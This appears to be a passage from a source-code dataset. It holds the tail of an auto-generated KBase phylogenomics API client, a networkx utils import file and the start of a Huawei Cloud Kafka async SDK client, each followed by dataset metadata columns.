to mapping from String to String, parameter "user2_genome_disp" of
mapping from type "data_obj_ref" to mapping from String to String,
parameter "color_for_reference_genomes" of String, parameter
"color_for_skeleton_genomes" of String, parameter
"color_for_user_genomes" of String, parameter
"color_for_user2_genomes" of String, parameter "tree_shape" of
String
:returns: instance of type "trim_speciestree_to_genomeset_Output" ->
structure: parameter "report_name" of String, parameter
"report_ref" of String
"""
return self._client.call_method('kb_phylogenomics.trim_speciestree_to_genomeset',
[params], self._service_ver, context)
def build_microbial_speciestree(self, params, context=None):
"""
:param params: instance of type "build_microbial_speciestree_Input"
(build_microbial_speciestree() ** ** run Insert Set of Genomes
into Species Tree with extra features) -> structure: parameter
"workspace_name" of type "workspace_name" (** Common types),
parameter "input_genome_refs" of type "data_obj_ref", parameter
"input_genome2_refs" of type "data_obj_ref", parameter
"output_tree_name" of type "data_obj_name", parameter "desc" of
String, parameter "show_skeleton_genome_sci_name" of type "bool",
parameter "skeleton_set" of String, parameter
"color_for_skeleton_genomes" of String, parameter
"color_for_user_genomes" of String, parameter
"color_for_user2_genomes" of String
:returns: instance of type "build_microbial_speciestree_Output" ->
structure: parameter "report_name" of String, parameter
"report_ref" of String
"""
return self._client.call_method('kb_phylogenomics.build_microbial_speciestree',
[params], self._service_ver, context)
def localize_DomainAnnotations(self, params, context=None):
"""
:param params: instance of type "localize_DomainAnnotations_Input"
(localize_DomainAnnotations() ** ** point all DomainAnnotations at
local copies of Genome Objects) -> structure: parameter
"workspace_name" of type "workspace_name" (** Common types),
parameter "input_DomainAnnotation_refs" of type "data_obj_ref"
:returns: instance of type "localize_DomainAnnotations_Output" ->
structure: parameter "report_name" of String, parameter
"report_ref" of String
"""
return self._client.call_method('kb_phylogenomics.localize_DomainAnnotations',
[params], self._service_ver, context)
def run_DomainAnnotation_Sets(self, params, context=None):
"""
:param params: instance of type "run_DomainAnnotation_Sets_Input"
(run_DomainAnnotation_Sets() ** ** run the DomainAnnotation App
against a GenomeSet) -> structure: parameter "workspace_name" of
type "workspace_name" (** Common types), parameter
"input_genomeSet_ref" of type "data_obj_ref", parameter
"override_annot" of type "bool"
:returns: instance of type "run_DomainAnnotation_Sets_Output" ->
structure: parameter "report_name" of String, parameter
"report_ref" of String
"""
return self._client.call_method('kb_phylogenomics.run_DomainAnnotation_Sets',
[params], self._service_ver, context)
def view_fxn_profile(self, params, context=None):
"""
:param params: instance of type "view_fxn_profile_Input"
(view_fxn_profile() ** ** show a table/heatmap of general
categories or custom gene families for a set of Genomes) ->
structure: parameter "workspace_name" of type "workspace_name" (**
Common types), parameter "input_genomeSet_ref" of type
"data_obj_ref", parameter "namespace" of String, parameter
"custom_target_fams" of type "CustomTargetFams" (parameter groups)
-> structure: parameter "target_fams" of list of String, parameter
"extra_target_fam_groups_COG" of list of String, parameter
"extra_target_fam_groups_PFAM" of list of String, parameter
"extra_target_fam_groups_TIGR" of list of String, parameter
"extra_target_fam_groups_SEED" of list of String, parameter
"genome_disp_name_config" of String, parameter "count_category" of
String, parameter "heatmap" of type "bool", parameter "vertical"
of type "bool", parameter "top_hit" of type "bool", parameter
"e_value" of Double, parameter "log_base" of Double, parameter
"required_COG_annot_perc" of Double, parameter
"required_PFAM_annot_perc" of Double, parameter
"required_TIGR_annot_perc" of Double, parameter
"required_SEED_annot_perc" of Double, parameter
"count_hypothetical" of type "bool", parameter "show_blanks" of
type "bool", parameter "skip_missing_genomes" of type "bool",
parameter "enforce_genome_version_match" of type "bool"
:returns: instance of type "view_fxn_profile_Output" -> structure:
parameter "report_name" of String, parameter "report_ref" of String
"""
return self._client.call_method('kb_phylogenomics.view_fxn_profile',
[params], self._service_ver, context)
def view_fxn_profile_featureSet(self, params, context=None):
"""
:param params: instance of type "view_fxn_profile_featureSet_Input"
(view_fxn_profile_featureSet() ** ** show a table/heatmap of
general categories or custom gene families for a set of Genomes)
-> structure: parameter "workspace_name" of type "workspace_name"
(** Common types), parameter "input_featureSet_ref" of type
"data_obj_ref", parameter "namespace" of String, parameter
"custom_target_fams" of type "CustomTargetFams" (parameter groups)
-> structure: parameter "target_fams" of list of String, parameter
"extra_target_fam_groups_COG" of list of String, parameter
"extra_target_fam_groups_PFAM" of list of String, parameter
"extra_target_fam_groups_TIGR" of list of String, parameter
"extra_target_fam_groups_SEED" of list of String, parameter
"genome_disp_name_config" of String, parameter "count_category" of
String, parameter "heatmap" of type "bool", parameter "vertical"
of type "bool", parameter "top_hit" of type "bool", parameter
"e_value" of Double, parameter "log_base" of Double, parameter
"required_COG_annot_perc" of Double, parameter
"required_PFAM_annot_perc" of Double, parameter
"required_TIGR_annot_perc" of Double, parameter
"required_SEED_annot_perc" of Double, parameter
"count_hypothetical" of type "bool", parameter "show_blanks" of
type "bool", parameter "skip_missing_genomes" of type "bool",
parameter "enforce_genome_version_match" of type "bool"
:returns: instance of type "view_fxn_profile_featureSet_Output" ->
structure: parameter "report_name" of String, parameter
"report_ref" of String
"""
return self._client.call_method('kb_phylogenomics.view_fxn_profile_featureSet',
[params], self._service_ver, context)
def view_fxn_profile_phylo(self, params, context=None):
"""
:param params: instance of type "view_fxn_profile_phylo_Input"
(view_fxn_profile_phylo() ** ** show a table/heatmap of general
categories or custom gene families for a set of Genomes using the
species tree) -> structure: parameter "workspace_name" of type
"workspace_name" (** Common types), parameter
"input_speciesTree_ref" of type "data_obj_ref", parameter
"namespace" of String, parameter "custom_target_fams" of type
"CustomTargetFams" (parameter groups) -> structure: parameter
"target_fams" of list of String, parameter
"extra_target_fam_groups_COG" of list of String, parameter
"extra_target_fam_groups_PFAM" of list of String, parameter
"extra_target_fam_groups_TIGR" of list of String, parameter
"extra_target_fam_groups_SEED" of list of String, parameter
"genome_disp_name_config" of String, parameter "count_category" of
String, parameter "heatmap" of type "bool", parameter "vertical"
of type "bool", parameter "top_hit" of type "bool", parameter
"e_value" of Double, parameter "log_base" of Double, parameter
"required_COG_annot_perc" of Double, parameter
"required_PFAM_annot_perc" of Double, parameter
"required_TIGR_annot_perc" of Double, parameter
"required_SEED_annot_perc" of Double, parameter
"count_hypothetical" of type "bool", parameter "show_blanks" of
type "bool", parameter "skip_missing_genomes" of type "bool",
parameter "enforce_genome_version_match" of type "bool"
:returns: instance of type "view_fxn_profile_phylo_Output" ->
structure: parameter "report_name" of String, parameter
"report_ref" of String
"""
return self._client.call_method('kb_phylogenomics.view_fxn_profile_phylo',
[params], self._service_ver, context)
def view_genome_circle_plot(self, params, context=None):
"""
:param params: instance of type "view_genome_circle_plot_Input"
(view_genome_circle_plot() ** ** build a circle plot of a
microbial genome) -> structure: parameter "workspace_name" of type
"workspace_name" (** Common types), parameter "input_genome_ref"
of type "data_obj_ref"
:returns: instance of type "view_genome_circle_plot_Output" ->
structure: parameter "report_name" of String, parameter
"report_ref" of String
"""
return self._client.call_method('kb_phylogenomics.view_genome_circle_plot',
[params], self._service_ver, context)
def view_pan_circle_plot(self, params, context=None):
"""
:param params: instance of type "view_pan_circle_plot_Input"
(view_pan_circle_plot() ** ** build a circle plot of a microbial
genome with its pangenome members) -> structure: parameter
"workspace_name" of type "workspace_name" (** Common types),
parameter "input_genome_ref" of type "data_obj_ref", parameter
"input_pangenome_ref" of type "data_obj_ref", parameter
"input_compare_genome_refs" of type "data_obj_ref", parameter
"input_outgroup_genome_refs" of type "data_obj_ref", parameter
"save_featuresets" of type "bool", parameter
"genome_disp_name_config" of String
:returns: instance of type "view_pan_circle_plot_Output" ->
structure: parameter "report_name" of String, parameter
"report_ref" of String
"""
return self._client.call_method('kb_phylogenomics.view_pan_circle_plot',
[params], self._service_ver, context)
def view_pan_accumulation_plot(self, params, context=None):
"""
:param params: instance of type "view_pan_accumulation_plot_Input"
(view_pan_accumulation_plot() ** ** build an accumulation plot of
a pangenome) -> structure: parameter "workspace_name" of type
"workspace_name" (** Common types), parameter "input_genome_ref"
of type "data_obj_ref", parameter "input_pangenome_ref" of type
"data_obj_ref"
:returns: instance of type "view_pan_accumulation_plot_Output" ->
structure: parameter "report_name" of String, parameter
"report_ref" of String
"""
return self._client.call_method('kb_phylogenomics.view_pan_accumulation_plot',
[params], self._service_ver, context)
def view_pan_flower_venn(self, params, context=None):
"""
:param params: instance of type "view_pan_flower_venn_Input"
(view_pan_flower_venn() ** ** build a multi-member pangenome
flower venn diagram) -> structure: parameter "workspace_name" of
type "workspace_name" (** Common types), parameter
"input_genome_ref" of type "data_obj_ref", parameter
"input_pangenome_ref" of type "data_obj_ref"
:returns: instance of type "view_pan_flower_venn_Output" ->
structure: parameter "report_name" of String, parameter
"report_ref" of String
"""
return self._client.call_method('kb_phylogenomics.view_pan_flower_venn',
[params], self._service_ver, context)
def view_pan_pairwise_overlap(self, params, context=None):
"""
:param params: instance of type "view_pan_pairwise_overlap_Input"
(view_pan_pairwise_overlap() ** ** build a multi-member pangenome
pairwise overlap plot) -> structure: parameter "workspace_name" of
type "workspace_name" (** Common types), parameter
"input_genome_ref" of type "data_obj_ref", parameter
"input_pangenome_ref" of type "data_obj_ref"
:returns: instance of type "view_pan_pairwise_overlap_Output" ->
structure: parameter "report_name" of String, parameter
"report_ref" of String
"""
return self._client.call_method('kb_phylogenomics.view_pan_pairwise_overlap',
[params], self._service_ver, context)
def view_pan_phylo(self, params, context=None):
"""
:param params: instance of type "view_pan_phylo_Input"
(view_pan_phylo() ** ** show the pangenome accumulation using a
tree) -> structure: parameter "workspace_name" of type
"workspace_name" (** Common types), parameter
"input_pangenome_ref" of type "data_obj_ref", parameter
"input_speciesTree_ref" of type "data_obj_ref", parameter
"save_featuresets" of type "bool", parameter
"skip_missing_genomes" of type "bool", parameter
"enforce_genome_version_match" of type "bool", parameter
"genome_disp_name_config" of String
:returns: instance of type "view_pan_phylo_Output" -> structure:
parameter "report_name" of String, parameter "report_ref" of String
"""
return self._client.call_method('kb_phylogenomics.view_pan_phylo',
[params], self._service_ver, context)
def find_homologs_with_genome_context(self, params, context=None):
"""
:param params: instance of type
"find_homologs_with_genome_context_Input"
(find_homologs_with_genome_context() ** ** show homolgous genes
across multiple genomes within genome context against species
tree) -> structure: parameter "workspace_name" of type
"workspace_name" (** Common types), parameter
"input_featureSet_ref" of type "data_obj_ref", parameter
"input_speciesTree_ref" of type "data_obj_ref", parameter
"save_per_genome_featureSets" of type "bool", parameter
"neighbor_thresh" of Long, parameter "ident_thresh" of Double,
parameter "overlap_fraction" of Double, parameter "e_value" of
Double, parameter "bitscore" of Double, parameter "color_seed" of
Double
:returns: instance of type "find_homologs_with_genome_context_Output"
-> structure: parameter "report_name" of String, parameter
"report_ref" of String
"""
return self._client.call_method('kb_phylogenomics.find_homologs_with_genome_context',
[params], self._service_ver, context)
def get_configure_categories(self, params, context=None):
"""
:param params: instance of type "get_configure_categories_Input"
(get_configure_categories() ** ** configure the domain categorie
names and descriptions) -> structure: parameter "params" of type
"view_fxn_profile_Input" (view_fxn_profile() ** ** show a
table/heatmap of general categories or custom gene families for a
set of Genomes) -> structure: parameter "workspace_name" of type
"workspace_name" (** Common types), parameter
"input_genomeSet_ref" of type "data_obj_ref", parameter
"namespace" of String, parameter "custom_target_fams" of type
"CustomTargetFams" (parameter groups) -> structure: parameter
"target_fams" of list of String, parameter
"extra_target_fam_groups_COG" of list of String, parameter
"extra_target_fam_groups_PFAM" of list of String, parameter
"extra_target_fam_groups_TIGR" of list of String, parameter
"extra_target_fam_groups_SEED" of list of String, parameter
"genome_disp_name_config" of String, parameter "count_category" of
String, parameter "heatmap" of type "bool", parameter "vertical"
of type "bool", parameter "top_hit" of type "bool", parameter
"e_value" of Double, parameter "log_base" of Double, parameter
"required_COG_annot_perc" of Double, parameter
"required_PFAM_annot_perc" of Double, parameter
"required_TIGR_annot_perc" of Double, parameter
"required_SEED_annot_perc" of Double, parameter
"count_hypothetical" of type "bool", parameter "show_blanks" of
type "bool", parameter "skip_missing_genomes" of type "bool",
parameter "enforce_genome_version_match" of type "bool"
:returns: instance of type "get_configure_categories_Output" ->
structure: parameter "cats" of list of String, parameter
"cat2name" of type "Cat2Name" (category to name) -> structure:
parameter "namespace" of type "domain_source" (COG, PF, TIGR,
SEED), parameter "cat" of type "category" (Categories), parameter
"cat2group" of type "Cat2Group" (category to group) -> structure:
parameter "namespace" of type "domain_source" (COG, PF, TIGR,
SEED), parameter "cat" of type "category" (Categories), parameter
"domfam2cat" of type "DomFam2Cat" (domain family to category) ->
structure: parameter "namespace" of type "domain_source" (COG, PF,
TIGR, SEED), parameter "domfam" of type "domainfamily" (Domains),
parameter "cat2domfams" of type "Cat2DomFams" (category to domain
family) -> structure: parameter "namespace" of type
"domain_source" (COG, PF, TIGR, SEED), parameter "cat" of type
"category" (Categories)
"""
return self._client.call_method('kb_phylogenomics.get_configure_categories',
[params], self._service_ver, context)
def status(self, context=None):
return self._client.call_method('kb_phylogenomics.status',
[], self._service_ver, context)
| 59.258197 | 93 | 0.658794 | 3,400 | 28,918 | 5.302059 | 0.086471 | 0.049592 | 0.066955 | 0.028735 | 0.856604 | 0.840628 | 0.81683 | 0.787929 | 0.774949 | 0.748045 | 0 | 0.000934 | 0.259631 | 28,918 | 487 | 94 | 59.379877 | 0.841056 | 0.704509 | 0 | 0.240506 | 1 | 0.012658 | 0.156726 | 0.141677 | 0 | 0 | 0 | 0 | 0 | 1 | 0.265823 | false | 0.025316 | 0.050633 | 0.012658 | 0.582278 | 0.012658 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 9 |
48f02c18873c94098ec234cdc39ca3c8cf0a5833 | 227 | py | Python | networkx/utils/__init__.py | tempcyc/networkx | cae83ba501c242567cb2454f97f851898276f06e | [
"BSD-3-Clause"
] | 1 | 2015-07-16T01:36:44.000Z | 2015-07-16T01:36:44.000Z | networkx/utils/__init__.py | tempcyc/networkx | cae83ba501c242567cb2454f97f851898276f06e | [
"BSD-3-Clause"
] | null | null | null | networkx/utils/__init__.py | tempcyc/networkx | cae83ba501c242567cb2454f97f851898276f06e | [
"BSD-3-Clause"
] | null | null | null | from networkx.utils.misc import *
from networkx.utils.decorators import *
from networkx.utils.random_sequence import *
from networkx.utils.union_find import *
from networkx.utils.rcm import *
from networkx.utils.heaps import *
| 32.428571 | 44 | 0.814978 | 32 | 227 | 5.71875 | 0.375 | 0.393443 | 0.557377 | 0.628415 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.105727 | 227 | 6 | 45 | 37.833333 | 0.901478 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 0 | 0 | 0 | null | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 7 |
48fcc42563a62ca0cd351541f69ea744d9c75e29 | 109,256 | py | Python | huaweicloud-sdk-kafka/huaweicloudsdkkafka/v2/kafka_async_client.py | wuchen-huawei/huaweicloud-sdk-python-v3 | 3683d703f4320edb2b8516f36f16d485cff08fc2 | [
"Apache-2.0"
] | 1 | 2021-11-03T07:54:50.000Z | 2021-11-03T07:54:50.000Z | huaweicloud-sdk-kafka/huaweicloudsdkkafka/v2/kafka_async_client.py | wuchen-huawei/huaweicloud-sdk-python-v3 | 3683d703f4320edb2b8516f36f16d485cff08fc2 | [
"Apache-2.0"
] | null | null | null | huaweicloud-sdk-kafka/huaweicloudsdkkafka/v2/kafka_async_client.py | wuchen-huawei/huaweicloud-sdk-python-v3 | 3683d703f4320edb2b8516f36f16d485cff08fc2 | [
"Apache-2.0"
] | null | null | null | # coding: utf-8
from __future__ import absolute_import
import datetime
import re
import importlib
import six
from huaweicloudsdkcore.client import Client, ClientBuilder
from huaweicloudsdkcore.exceptions import exceptions
from huaweicloudsdkcore.utils import http_utils
from huaweicloudsdkcore.sdk_stream_request import SdkStreamRequest
class KafkaAsyncClient(Client):
"""
:param configuration: .Configuration object for this client
:param pool_threads: The number of threads to use for async requests
to the API. More threads means more concurrent API requests.
"""
PRIMITIVE_TYPES = (float, bool, bytes, six.text_type) + six.integer_types
NATIVE_TYPES_MAPPING = {
'int': int,
'long': int if six.PY3 else long,
'float': float,
'str': str,
'bool': bool,
'date': datetime.date,
'datetime': datetime.datetime,
'object': object,
}
def __init__(self):
super(KafkaAsyncClient, self).__init__()
self.model_package = importlib.import_module("huaweicloudsdkkafka.v2.model")
self.preset_headers = {'User-Agent': 'HuaweiCloud-SDK-Python'}
@classmethod
def new_builder(cls, clazz=None):
if clazz is None:
return ClientBuilder(cls)
if clazz.__name__ != "KafkaClient":
raise TypeError("client type error, support client type is KafkaClient")
return ClientBuilder(clazz)
def batch_create_or_delete_kafka_tag_async(self, request):
"""批量添加或删除实例标签
批量添加或删除实例标签。
:param BatchCreateOrDeleteKafkaTagRequest request
:return: BatchCreateOrDeleteKafkaTagResponse
"""
return self.batch_create_or_delete_kafka_tag_with_http_info(request)
def batch_create_or_delete_kafka_tag_with_http_info(self, request):
"""批量添加或删除实例标签
批量添加或删除实例标签。
:param BatchCreateOrDeleteKafkaTagRequest request
:return: BatchCreateOrDeleteKafkaTagResponse
"""
all_params = ['instance_id', 'batch_create_or_delete_kafka_tag_request_body']
local_var_params = {}
for attr in request.attribute_map:
if hasattr(request, attr):
local_var_params[attr] = getattr(request, attr)
collection_formats = {}
path_params = {}
if 'instance_id' in local_var_params:
path_params['instance_id'] = local_var_params['instance_id']
query_params = []
header_params = {}
form_params = {}
body_params = None
if 'body' in local_var_params:
body_params = local_var_params['body']
if isinstance(request, SdkStreamRequest):
body_params = request.get_file_stream()
response_headers = []
header_params['Content-Type'] = http_utils.select_header_content_type(
['application/json'])
auth_settings = ['apig-auth-iam']
return self.call_api(
resource_path='/v2/{project_id}/kafka/{instance_id}/tags/action',
method='POST',
path_params=path_params,
query_params=query_params,
header_params=header_params,
body=body_params,
post_params=form_params,
response_type='BatchCreateOrDeleteKafkaTagResponse',
response_headers=response_headers,
auth_settings=auth_settings,
collection_formats=collection_formats,
request_type=request.__class__.__name__)
def batch_delete_instance_topic_async(self, request):
"""Kafka实例批量删除Topic
该接口用于向Kafka实例批量删除Topic。
:param BatchDeleteInstanceTopicRequest request
:return: BatchDeleteInstanceTopicResponse
"""
return self.batch_delete_instance_topic_with_http_info(request)
def batch_delete_instance_topic_with_http_info(self, request):
"""Kafka实例批量删除Topic
该接口用于向Kafka实例批量删除Topic。
:param BatchDeleteInstanceTopicRequest request
:return: BatchDeleteInstanceTopicResponse
"""
all_params = ['instance_id', 'batch_delete_instance_topic_request_body']
local_var_params = {}
for attr in request.attribute_map:
if hasattr(request, attr):
local_var_params[attr] = getattr(request, attr)
collection_formats = {}
path_params = {}
if 'instance_id' in local_var_params:
path_params['instance_id'] = local_var_params['instance_id']
query_params = []
header_params = {}
form_params = {}
body_params = None
if 'body' in local_var_params:
body_params = local_var_params['body']
if isinstance(request, SdkStreamRequest):
body_params = request.get_file_stream()
response_headers = []
header_params['Content-Type'] = http_utils.select_header_content_type(
['application/json'])
auth_settings = ['apig-auth-iam']
return self.call_api(
resource_path='/v2/{project_id}/instances/{instance_id}/topics/delete',
method='POST',
path_params=path_params,
query_params=query_params,
header_params=header_params,
body=body_params,
post_params=form_params,
response_type='BatchDeleteInstanceTopicResponse',
response_headers=response_headers,
auth_settings=auth_settings,
collection_formats=collection_formats,
request_type=request.__class__.__name__)
def batch_delete_instance_users_async(self, request):
"""批量删除用户
批量删除Kafka实例的用户
:param BatchDeleteInstanceUsersRequest request
:return: BatchDeleteInstanceUsersResponse
"""
return self.batch_delete_instance_users_with_http_info(request)
def batch_delete_instance_users_with_http_info(self, request):
"""批量删除用户
批量删除Kafka实例的用户
:param BatchDeleteInstanceUsersRequest request
:return: BatchDeleteInstanceUsersResponse
"""
all_params = ['instance_id', 'batch_delete_instance_users_request_body']
local_var_params = {}
for attr in request.attribute_map:
if hasattr(request, attr):
local_var_params[attr] = getattr(request, attr)
collection_formats = {}
path_params = {}
if 'instance_id' in local_var_params:
path_params['instance_id'] = local_var_params['instance_id']
query_params = []
header_params = {}
form_params = {}
body_params = None
if 'body' in local_var_params:
body_params = local_var_params['body']
if isinstance(request, SdkStreamRequest):
body_params = request.get_file_stream()
response_headers = []
header_params['Content-Type'] = http_utils.select_header_content_type(
['application/json'])
auth_settings = ['apig-auth-iam']
return self.call_api(
resource_path='/v2/{project_id}/instances/{instance_id}/users',
method='PUT',
path_params=path_params,
query_params=query_params,
header_params=header_params,
body=body_params,
post_params=form_params,
response_type='BatchDeleteInstanceUsersResponse',
response_headers=response_headers,
auth_settings=auth_settings,
collection_formats=collection_formats,
request_type=request.__class__.__name__)
def batch_restart_or_delete_instances_async(self, request):
"""批量重启或删除实例
批量重启或删除实例。 在实例重启过程中，客户端的生产与消费消息等请求会被拒绝。 实例删除后，实例中原有的数据将被删除，且没有备份，请谨慎操作。
:param BatchRestartOrDeleteInstancesRequest request
:return: BatchRestartOrDeleteInstancesResponse
"""
return self.batch_restart_or_delete_instances_with_http_info(request)
def batch_restart_or_delete_instances_with_http_info(self, request):
"""批量重启或删除实例
批量重启或删除实例。 在实例重启过程中，客户端的生产与消费消息等请求会被拒绝。 实例删除后，实例中原有的数据将被删除，且没有备份，请谨慎操作。
:param BatchRestartOrDeleteInstancesRequest request
:return: BatchRestartOrDeleteInstancesResponse
"""
all_params = ['batch_restart_or_delete_instances_request_body']
local_var_params = {}
for attr in request.attribute_map:
if hasattr(request, attr):
local_var_params[attr] = getattr(request, attr)
collection_formats = {}
path_params = {}
query_params = []
header_params = {}
form_params = {}
body_params = None
if 'body' in local_var_params:
body_params = local_var_params['body']
if isinstance(request, SdkStreamRequest):
body_params = request.get_file_stream()
response_headers = []
header_params['Content-Type'] = http_utils.select_header_content_type(
['application/json'])
auth_settings = ['apig-auth-iam']
return self.call_api(
resource_path='/v2/{project_id}/instances/action',
method='POST',
path_params=path_params,
query_params=query_params,
header_params=header_params,
body=body_params,
post_params=form_params,
response_type='BatchRestartOrDeleteInstancesResponse',
response_headers=response_headers,
auth_settings=auth_settings,
collection_formats=collection_formats,
request_type=request.__class__.__name__)
def create_connector_async(self, request):
"""创建实例的转储节点
创建实例的转储节点。
:param CreateConnectorRequest request
:return: CreateConnectorResponse
"""
return self.create_connector_with_http_info(request)
def create_connector_with_http_info(self, request):
"""创建实例的转储节点
创建实例的转储节点。
:param CreateConnectorRequest request
:return: CreateConnectorResponse
"""
all_params = ['instance_id', 'create_connector_request_body']
local_var_params = {}
for attr in request.attribute_map:
if hasattr(request, attr):
local_var_params[attr] = getattr(request, attr)
collection_formats = {}
path_params = {}
if 'instance_id' in local_var_params:
path_params['instance_id'] = local_var_params['instance_id']
query_params = []
header_params = {}
form_params = {}
body_params = None
if 'body' in local_var_params:
body_params = local_var_params['body']
if isinstance(request, SdkStreamRequest):
body_params = request.get_file_stream()
response_headers = []
header_params['Content-Type'] = http_utils.select_header_content_type(
['application/json'])
auth_settings = ['apig-auth-iam']
return self.call_api(
resource_path='/v2/{project_id}/instances/{instance_id}/connector',
method='POST',
path_params=path_params,
query_params=query_params,
header_params=header_params,
body=body_params,
post_params=form_params,
response_type='CreateConnectorResponse',
response_headers=response_headers,
auth_settings=auth_settings,
collection_formats=collection_formats,
request_type=request.__class__.__name__)
def create_instance_topic_async(self, request):
"""Kafka实例创建Topic
该接口用于向Kafka实例创建Topic。
:param CreateInstanceTopicRequest request
:return: CreateInstanceTopicResponse
"""
return self.create_instance_topic_with_http_info(request)
def create_instance_topic_with_http_info(self, request):
"""Kafka实例创建Topic
该接口用于向Kafka实例创建Topic。
:param CreateInstanceTopicRequest request
:return: CreateInstanceTopicResponse
"""
all_params = ['instance_id', 'create_instance_topic_request_body']
local_var_params = {}
for attr in request.attribute_map:
if hasattr(request, attr):
local_var_params[attr] = getattr(request, attr)
collection_formats = {}
path_params = {}
if 'instance_id' in local_var_params:
path_params['instance_id'] = local_var_params['instance_id']
query_params = []
header_params = {}
form_params = {}
body_params = None
if 'body' in local_var_params:
body_params = local_var_params['body']
if isinstance(request, SdkStreamRequest):
body_params = request.get_file_stream()
response_headers = []
header_params['Content-Type'] = http_utils.select_header_content_type(
['application/json'])
auth_settings = ['apig-auth-iam']
return self.call_api(
resource_path='/v2/{project_id}/instances/{instance_id}/topics',
method='POST',
path_params=path_params,
query_params=query_params,
header_params=header_params,
body=body_params,
post_params=form_params,
response_type='CreateInstanceTopicResponse',
response_headers=response_headers,
auth_settings=auth_settings,
collection_formats=collection_formats,
request_type=request.__class__.__name__)
def create_instance_user_async(self, request):
"""创建用户
创建Kafka实例的用户，用户可连接开启SASL的Kafka实例。
:param CreateInstanceUserRequest request
:return: CreateInstanceUserResponse
"""
return self.create_instance_user_with_http_info(request)
def create_instance_user_with_http_info(self, request):
"""创建用户
创建Kafka实例的用户，用户可连接开启SASL的Kafka实例。
:param CreateInstanceUserRequest request
:return: CreateInstanceUserResponse
"""
all_params = ['instance_id', 'create_instance_user_request_body']
local_var_params = {}
for attr in request.attribute_map:
if hasattr(request, attr):
local_var_params[attr] = getattr(request, attr)
collection_formats = {}
path_params = {}
if 'instance_id' in local_var_params:
path_params['instance_id'] = local_var_params['instance_id']
query_params = []
header_params = {}
form_params = {}
body_params = None
if 'body' in local_var_params:
body_params = local_var_params['body']
if isinstance(request, SdkStreamRequest):
body_params = request.get_file_stream()
response_headers = []
header_params['Content-Type'] = http_utils.select_header_content_type(
['application/json'])
auth_settings = ['apig-auth-iam']
return self.call_api(
resource_path='/v2/{project_id}/instances/{instance_id}/users',
method='POST',
path_params=path_params,
query_params=query_params,
header_params=header_params,
body=body_params,
post_params=form_params,
response_type='CreateInstanceUserResponse',
response_headers=response_headers,
auth_settings=auth_settings,
collection_formats=collection_formats,
request_type=request.__class__.__name__)
def create_partition_async(self, request):
"""新增Kafka实例指定Topic分区
新增Kafka实例指定Topic分区。
:param CreatePartitionRequest request
:return: CreatePartitionResponse
"""
return self.create_partition_with_http_info(request)
def create_partition_with_http_info(self, request):
"""新增Kafka实例指定Topic分区
新增Kafka实例指定Topic分区。
:param CreatePartitionRequest request
:return: CreatePartitionResponse
"""
all_params = ['instance_id', 'topic', 'create_partition_request_body']
local_var_params = {}
for attr in request.attribute_map:
if hasattr(request, attr):
local_var_params[attr] = getattr(request, attr)
collection_formats = {}
path_params = {}
if 'instance_id' in local_var_params:
path_params['instance_id'] = local_var_params['instance_id']
if 'topic' in local_var_params:
path_params['topic'] = local_var_params['topic']
query_params = []
header_params = {}
form_params = {}
body_params = None
if 'body' in local_var_params:
body_params = local_var_params['body']
if isinstance(request, SdkStreamRequest):
body_params = request.get_file_stream()
response_headers = []
header_params['Content-Type'] = http_utils.select_header_content_type(
['application/json'])
auth_settings = ['apig-auth-iam']
return self.call_api(
resource_path='/v2/{project_id}/instances/{instance_id}/management/topics/{topic}/partitions-reassignment',
method='POST',
path_params=path_params,
query_params=query_params,
header_params=header_params,
body=body_params,
post_params=form_params,
response_type='CreatePartitionResponse',
response_headers=response_headers,
auth_settings=auth_settings,
collection_formats=collection_formats,
request_type=request.__class__.__name__)
def create_post_paid_instance_async(self, request):
"""创建实例（按需）
创建实例，该接口创建的实例为按需计费的方式。
:param CreatePostPaidInstanceRequest request
:return: CreatePostPaidInstanceResponse
"""
return self.create_post_paid_instance_with_http_info(request)
def create_post_paid_instance_with_http_info(self, request):
"""创建实例（按需）
创建实例，该接口创建的实例为按需计费的方式。
:param CreatePostPaidInstanceRequest request
:return: CreatePostPaidInstanceResponse
"""
all_params = ['create_post_paid_instance_request_body']
local_var_params = {}
for attr in request.attribute_map:
if hasattr(request, attr):
local_var_params[attr] = getattr(request, attr)
collection_formats = {}
path_params = {}
query_params = []
header_params = {}
form_params = {}
body_params = None
if 'body' in local_var_params:
body_params = local_var_params['body']
if isinstance(request, SdkStreamRequest):
body_params = request.get_file_stream()
response_headers = []
header_params['Content-Type'] = http_utils.select_header_content_type(
['application/json'])
auth_settings = ['apig-auth-iam']
return self.call_api(
resource_path='/v2/{project_id}/instances',
method='POST',
path_params=path_params,
query_params=query_params,
header_params=header_params,
body=body_params,
post_params=form_params,
response_type='CreatePostPaidInstanceResponse',
response_headers=response_headers,
auth_settings=auth_settings,
collection_formats=collection_formats,
request_type=request.__class__.__name__)
def create_sink_task_async(self, request):
"""创建转储任务
创建转储任务。
:param CreateSinkTaskRequest request
:return: CreateSinkTaskResponse
"""
return self.create_sink_task_with_http_info(request)
def create_sink_task_with_http_info(self, request):
"""创建转储任务
创建转储任务。
:param CreateSinkTaskRequest request
:return: CreateSinkTaskResponse
"""
all_params = ['connector_id', 'create_sink_task_request_body']
local_var_params = {}
for attr in request.attribute_map:
if hasattr(request, attr):
local_var_params[attr] = getattr(request, attr)
collection_formats = {}
path_params = {}
if 'connector_id' in local_var_params:
path_params['connector_id'] = local_var_params['connector_id']
query_params = []
header_params = {}
form_params = {}
body_params = None
if 'body' in local_var_params:
body_params = local_var_params['body']
if isinstance(request, SdkStreamRequest):
body_params = request.get_file_stream()
response_headers = []
header_params['Content-Type'] = http_utils.select_header_content_type(
['application/json'])
auth_settings = ['apig-auth-iam']
return self.call_api(
resource_path='/v2/{project_id}/connectors/{connector_id}/sink-tasks',
method='POST',
path_params=path_params,
query_params=query_params,
header_params=header_params,
body=body_params,
post_params=form_params,
